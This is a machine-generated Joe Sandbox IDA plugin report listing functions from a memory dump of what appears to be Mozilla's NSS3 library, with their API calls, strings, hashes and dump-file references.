Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CurrentThread$CriticalEnterErrorLastLockModulePageSectionSizeUnlockValuegetprotobynumber
String ID:
API String ID: 4143355744-0
Opcode ID: de7a91d4e6a4c45eb84d8b50cf149fb24d1ed2a66cb7b4f3ee4f5f259e436113
Instruction ID: 96e9bec23f76df2d859ff3fad9c93b157f08fe3d7745daf0dabbdd8db31c08e7
Opcode Fuzzy Hash: de7a91d4e6a4c45eb84d8b50cf149fb24d1ed2a66cb7b4f3ee4f5f259e436113
Instruction Fuzzy Hash: 3411A0B2A141209BDB105F7AAC4059A7668AF46338F0942A7ED0697FB1D7308804CBE6

Function 6CC68B50 Relevance: 9.1, APIs: 6, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6CC70948,00000000), ref: 6CC68B6B
EnterCriticalSection.KERNEL32(?,?,?,6CC70948,00000000), ref: 6CC68B80
PL_FinishArenaPool.NSS3(?,?,?,?,6CC70948,00000000), ref: 6CC68B8F
PR_Unlock.NSS3(?,?,?,?,6CC70948,00000000), ref: 6CC68BA1
DeleteCriticalSection.KERNEL32(?,?,?,?,6CC70948,00000000), ref: 6CC68BAC
free.MOZGLUE(?,?,?,?,?,6CC70948,00000000), ref: 6CC68BB8

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$ArenaDeleteEnterFinishPoolUnlockValuefree
String ID:
API String ID: 1456478736-0
Opcode ID: 5f0d0b0ae92a4e9c2a24568b2f96f8bd0f92bd3bf2519edc5f0640123445a088
Instruction ID: fd0957841deefbe183b39ed602da4e42a175a8a0763c7732c2ef3d80f7cf04f9
Opcode Fuzzy Hash: 5f0d0b0ae92a4e9c2a24568b2f96f8bd0f92bd3bf2519edc5f0640123445a088
Instruction Fuzzy Hash: 9511BFB1604A048FEB00BFB9C48856DBBF8FF45254F01492AD98487A00EB35D085CBE2

Function 6CC6AB10 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(D958E852,6CC71397,5B5F5EC0,?,?,6CC6B1EE,2404110F,?,?), ref: 6CC6AB3C
free.MOZGLUE(D958E836,?,6CC6B1EE,2404110F,?,?), ref: 6CC6AB49
DeleteCriticalSection.KERNEL32(5D5E6CE6), ref: 6CC6AB5C
free.MOZGLUE(5D5E6CDA), ref: 6CC6AB63
DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CC6AB6F
free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CC6AB76

Part of subcall function 6CC9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC9F854
Part of subcall function 6CC9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC9F868
Part of subcall function 6CC9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC9F882
Part of subcall function 6CC9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC9F889
Part of subcall function 6CC9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC9F8A4
Part of subcall function 6CC9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC9F8AB
Part of subcall function 6CC9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC9F8C9
Part of subcall function 6CC9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC9F8D0

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 7e0d5eb7252273bd364c9e79f43a2187712ffd7afd5ef2d69ece29d909642b89
Instruction ID: fff04cd1382cae02c4a0f4962010944c7d4c796c621f4172ef506bacfcef5dee
Opcode Fuzzy Hash: 7e0d5eb7252273bd364c9e79f43a2187712ffd7afd5ef2d69ece29d909642b89
Instruction Fuzzy Hash: D4015EB2600615ABDA11ABB5ED8489B73BCEAC56393040525EA1983A00E737F456DBE2

Function 6CCE6840 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

PR_NewMonitor.NSS3(00000000,?,6CCEAA9B,?,?,?,?,?,?,?,00000000,?,6CCE80C1), ref: 6CCE6846

Part of subcall function 6CC41770: calloc.MOZGLUE(00000001,0000019C,?,6CC415C2,?,?,?,?,?,00000001,00000040), ref: 6CC4178D

PR_NewMonitor.NSS3(00000000,?,6CCEAA9B,?,?,?,?,?,?,?,00000000,?,6CCE80C1), ref: 6CCE6855

Part of subcall function 6CCA8680: calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6CC555D0,00000000,00000000), ref: 6CCA868B
Part of subcall function 6CCA8680: PR_NewLock.NSS3(00000000,00000000), ref: 6CCA86A0
Part of subcall function 6CCA8680: PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6CCA86B2
Part of subcall function 6CCA8680: PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6CCA86C8
Part of subcall function 6CCA8680: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6CCA86E2
Part of subcall function 6CCA8680: malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6CCA86EC
Part of subcall function 6CCA8680: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6CCA8700

PR_NewMonitor.NSS3(?,6CCEAA9B,?,?,?,?,?,?,?,00000000,?,6CCE80C1), ref: 6CCE687D

Part of subcall function 6CC41770: PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CC418DE
Part of subcall function 6CC41770: InitializeCriticalSectionAndSpinCount.KERNEL32(00000020,000005DC,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CC418F1

PR_NewMonitor.NSS3(?,6CCEAA9B,?,?,?,?,?,?,?,00000000,?,6CCE80C1), ref: 6CCE688C

Part of subcall function 6CC41770: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CC418FC
Part of subcall function 6CC41770: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000040), ref: 6CC4198A

PR_NewLock.NSS3 ref: 6CCE68A5

Part of subcall function 6CD198D0: calloc.MOZGLUE(00000001,00000084,6CC40936,00000001,?,6CC4102C), ref: 6CD198E5

PR_NewLock.NSS3 ref: 6CCE68B4

Part of subcall function 6CD198D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CD19946
Part of subcall function 6CD198D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBD16B7,00000000), ref: 6CD1994E
Part of subcall function 6CD198D0: free.MOZGLUE(00000000), ref: 6CD1995E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: f5d55d1496b559facd52ee694974aecd05ec8442872e7f46ccfe00ba4f4052d1
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 00011DB0A15F0B46E7616BB948143E77AE85F0638CF10453E85A9C6B90FF71E408CBA2

Function 6CC3AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC3AFDA

Strings

misuse, xrefs: 6CC3AFCE
%s at line %d of [%.10s], xrefs: 6CC3AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC3AFC4
unable to delete/modify collation sequence due to active statements, xrefs: 6CC3AF5C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: d4b1b8bcb376bdb0af6a7dd2a708cbdb09c01196cea08903ac44d29b772a95f9
Instruction ID: 44c189c4ae613f4bb352f505033039ec907e286c11e16c2d03238c982e6e6f9d
Opcode Fuzzy Hash: d4b1b8bcb376bdb0af6a7dd2a708cbdb09c01196cea08903ac44d29b772a95f9
Instruction Fuzzy Hash: 2E9106B5A042258FDF04CF99D850BAAB7F1BF89314F195068E859AB7A1E334EC11CB60

Function 6CD1AAA2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(F{&QF{&QF{&QF{&QF{&QF{&Q,00000000), ref: 6CD1AAD4
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(F{&QF{&QF{&Q,00000000), ref: 6CD1AAE3

Strings

F{&QF{&QF{&QF{&QF{&QF{&Q, xrefs: 6CD1AACF, 6CD1AAFD

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: F{&QF{&QF{&QF{&QF{&QF{&Q
API String ID: 2450287516-4014037362
Opcode ID: 6d876877cc80cfd0a42720e3be0878ce65a99d07f6fce60110d7a52ff29fb84d
Instruction ID: 655c61f087c962d4d81d9f79935a6936193465f507ff76f0be8d57b21de895e2
Opcode Fuzzy Hash: 6d876877cc80cfd0a42720e3be0878ce65a99d07f6fce60110d7a52ff29fb84d
Instruction Fuzzy Hash: D021B3B1908245EFDF00DFA9EA007DE77BA9F02358F104115ED19ABEA0D771E948CBA5

Function 6CC64B00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CC64B66
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CC64B7D
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CC64B97
PORT_ZAlloc_Util.NSS3(00000018), ref: 6CC64BB7

Part of subcall function 6CCB0D30: calloc.MOZGLUE ref: 6CCB0D50
Part of subcall function 6CCB0D30: TlsGetValue.KERNEL32 ref: 6CCB0D6D

Strings

, xrefs: 6CC64B8A

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: AlgorithmPolicy$Alloc_ErrorUtilValuecalloc
String ID:
API String ID: 4087055539-3916222277
Opcode ID: 8925cea0e3329773ab51df43658098fcdf88e88d4242a534cf6e13d46adb8393
Instruction ID: 3596765953d7a12a2b03bcbb3c818abff215e5c356c322d05143ff60969a2d54
Opcode Fuzzy Hash: 8925cea0e3329773ab51df43658098fcdf88e88d4242a534cf6e13d46adb8393
Instruction Fuzzy Hash: 89210AB1D005095ADF10CA76DE91BBFB675AFC131CF140115F52596ED1F7209514C6A2

Function 6CD2A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6CBF7915,?,?), ref: 6CD2A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6CBF7915,?,?), ref: 6CD2A8A6

Strings

database corruption, xrefs: 6CD2A89B
%s at line %d of [%.10s], xrefs: 6CD2A8A0
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD2A891

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 2e9e7278ca98ee70884a1d980bd9bf3785ddc063727ecaaff5efa5d0422f5f50
Instruction ID: 186cd11b56359a41542a7cfc209f863643394bc4e1e6d5f54e891b8f9d50b679
Opcode Fuzzy Hash: 2e9e7278ca98ee70884a1d980bd9bf3785ddc063727ecaaff5efa5d0422f5f50
Instruction Fuzzy Hash: 2C1106B5A00214ABD7048F11DC40A6AF7A5FF49718F004029FE594BBA0EB34E91AC791

Function 6CC8CAA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CC6B1EE,D958E836,?,6CCA51C5), ref: 6CC8CAFA
PR_UnloadLibrary.NSS3(?,6CCA51C5), ref: 6CC8CB09
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CC6B1EE,D958E836,?,6CCA51C5), ref: 6CC8CB2C
PR_UnloadLibrary.NSS3(6CCA51C5), ref: 6CC8CB3E

Strings

NSS_DISABLE_UNLOAD, xrefs: 6CC8CAF5, 6CC8CB27

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: LibrarySecureUnload
String ID: NSS_DISABLE_UNLOAD
API String ID: 4190191112-1204168554
Opcode ID: f3c115073e2f2839dab72ab500719cedd381275b49ebb4cb48f46a1a580d3680
Instruction ID: ff461cc31c282c416cccc550e9ccefef2fff393a749a44e59f0951edb7af5d8d
Opcode Fuzzy Hash: f3c115073e2f2839dab72ab500719cedd381275b49ebb4cb48f46a1a580d3680
Instruction Fuzzy Hash: BE11A5F2B02A11DBF754EB25D445753BAB8BB42B5DF04833AD50482A40F774E494CBDA

Function 6CC40DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CC40BDE), ref: 6CC40DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CC40BDE), ref: 6CC40DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CC40BDE), ref: 6CC40DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CC40BDE), ref: 6CC40E32

Strings

%s incr => %d (find lib), xrefs: 6CC40E2D

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 1d4941b68cbbd5ff7f5b68e8ca3bd721ee3a604b939a8866ba725c4e7ce412b6
Instruction ID: a5694b6d5547098bd5540e7609e8d12a46d7dc65db2ba8a3a7a97a5d03312b19
Opcode Fuzzy Hash: 1d4941b68cbbd5ff7f5b68e8ca3bd721ee3a604b939a8866ba725c4e7ce412b6
Instruction Fuzzy Hash: 5D01F1726406209FE7208B269C45E1773BCEB45A09B04846DE949D7A52F762EC28C7E1

Function 6CBD2940 Relevance: 7.8, APIs: 6, Instructions: 327stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CBD1360,00000000), ref: 6CBD2A19
memcpy.VCRUNTIME140(?,00000009,00000034,?,?,?,6CBD1360,00000000), ref: 6CBD2A45
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6CBD2A7C

Part of subcall function 6CBD2D50: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,B58BF8DA,?,?,00000000,?,6CBD296E), ref: 6CBD2DA4

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBD2AF3
memcpy.VCRUNTIME140(?,00000009,0000000C,?,?,?,6CBD1360,00000000), ref: 6CBD2B71
memset.VCRUNTIME140(00000000,00000000,00000034), ref: 6CBD2B90

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID:
API String ID: 638109778-0
Opcode ID: 94bd37c10bdf87146dc70ace80030124aa33fffcdb6a898db2dd6ef6fb5d3c6e
Instruction ID: 1e74f4f35a9ad0d81f7c86dc649132326c8658029d6eedf83fb743d6b8c0a7eb
Opcode Fuzzy Hash: 94bd37c10bdf87146dc70ace80030124aa33fffcdb6a898db2dd6ef6fb5d3c6e
Instruction Fuzzy Hash: 77C1D471F012868BEB04CFA9C8847AAB7B5EF88304F168269D9199B741D734FC41CBD2

Function 6CC6CB60 Relevance: 7.8, APIs: 5, Instructions: 253COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE041,00000000,?,?,?,?,00000000,?,00000000,?,6CC757DF,00000000,?,00000002,6CC75840,?), ref: 6CC6CBB5
TlsGetValue.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,6CC757DF,00000000,?,00000002,6CC75840,?), ref: 6CC6CC4A
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,?,00000000,?,00000000,?,6CC757DF,00000000,?,00000002,6CC75840), ref: 6CC6CC5E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC6CC98
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC6CD50

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterErrorSectionValue
String ID:
API String ID: 1974170392-0
Opcode ID: e2f0018ea765de4c7410b0c23e60f03d0c926e918a4f9b432e7471bb2cdfba29
Instruction ID: 95bd1f6f6e46dce0e9b945680a2ac7537fe9f43cb6141e31d06b95f4dfcbe0d5
Opcode Fuzzy Hash: e2f0018ea765de4c7410b0c23e60f03d0c926e918a4f9b432e7471bb2cdfba29
Instruction Fuzzy Hash: 5191B475E01118AFDF00EFAAE9C1A9EB7B5FF49318F140129E815A7B50E731E815CB91

Function 6CBEA910 Relevance: 7.7, APIs: 5, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb402e5f0906b556566eb50aba2e6d2025f989da2694a6b2ea4f3549d713b669
Instruction ID: c33ee9be1aa4c9e102b169e2ff0d17bc89742fa0d83fe0b17ea32d04e313ac26
Opcode Fuzzy Hash: eb402e5f0906b556566eb50aba2e6d2025f989da2694a6b2ea4f3549d713b669
Instruction Fuzzy Hash: 13919D75700244CFEB08DFA5E899B6A3BBDFB4AB45F14012DE60647B40DB38A845CF96

Function 6CC58B50 Relevance: 7.7, APIs: 5, Instructions: 218COMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3 ref: 6CC58B5C
CERT_DecodeAVAValue.NSS3 ref: 6CC58B67

Part of subcall function 6CC58E00: PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC58EED
Part of subcall function 6CC58E00: SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD818D0,?), ref: 6CC58F03
Part of subcall function 6CC58E00: PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0), ref: 6CC58F19
Part of subcall function 6CC58E00: PL_FreeArenaPool.NSS3(?), ref: 6CC58F2B

SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CC58D5C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC58D6B
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC58D76

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
